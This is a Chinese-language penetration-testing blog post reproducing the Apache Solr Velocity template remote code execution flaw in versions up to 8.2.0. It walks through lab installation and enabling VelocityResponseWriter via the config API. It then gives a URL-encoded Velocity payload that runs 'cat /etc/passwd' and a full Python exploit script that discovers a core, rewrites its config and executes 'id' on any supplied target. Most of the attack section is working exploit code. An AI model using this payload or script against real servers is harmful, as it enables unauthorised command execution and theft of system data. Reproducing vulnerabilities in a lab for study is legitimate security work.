连长 's Blog

安全,渗透,红蓝对抗。潜心研究、切勿浮躁。

Apache Solr < 8.2.0 RCE漏洞复现

渗透测试 6 评

0x01 安装

确定影响版本:7.0.1 / 7.1.0 / 7.5.0 / 7.7.1 / 7.7.2 / 8.1.0 / 8.1.1 / 8.2.0
地址:http://archive.apache.org/dist/lucene/solr/8.2.0/
安装java

yum install java-1.8.0-openjdk-*

下载cd到bin目录安装脚本

./install_solr_service.sh ../../solr-8.2.0.tgz

添加一个 add core
-w471

这里有个坑
-w1084

cp /opt/solr/server/solr/configsets/_default/conf/ -r /var/solr/data/new_core

然后再次提交即可

0x02 坑点

配置文件不修改无法执行命令或者无法回显所有也是比较鸡肋的

1.修改配置文件(第一种方法)
http://10.10.40.7:8983/solr/allsec/config
POST

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

配置文件修改很重要否则不能执行poc

2.修改配置文件(第二种方法)
-w988
编辑 solrconfig.xml
-w826

保存后重启

service solr restart

然后访问:http://10.10.40.7:8983/solr/allsec/config 确定修改完成
-w675

0x03 POC

http://10.10.40.7:8983/solr/allsec/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
-w1206

import requests
import json
import sys


def get_name(url):
    print "[-] Get core name."
    url += "/solr/admin/cores?wt=json&indexInfo=false"
    conn = requests.request("GET", url=url)
    name = "test"
    try:
        name = list(json.loads(conn.text)["status"])[0]
    except:
        pass
    return name


def update_config(url, name):

    url += "/solr/"+name+"/config"
    print "[-] Update config.", url
    headers = {"Content-Type": "application/json",
               "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}
    post_data = """
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    """
    conn = requests.request("POST", url, data=post_data, headers=headers)
    if conn.status_code != 200:
        print "update config error: ", conn.status_code
        sys.exit(1)


def poc(url):
    core_name = get_name(url)
    update_config(url, core_name)
    print "[-] Start get ."
    url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    conn = requests.request("GET", url)
    print conn.text


if __name__ == '__main__':
    # print sys.argv[0], "http://127.0.0.1"
    target = sys.argv[1]
    poc(target)

发表评论
撰写评论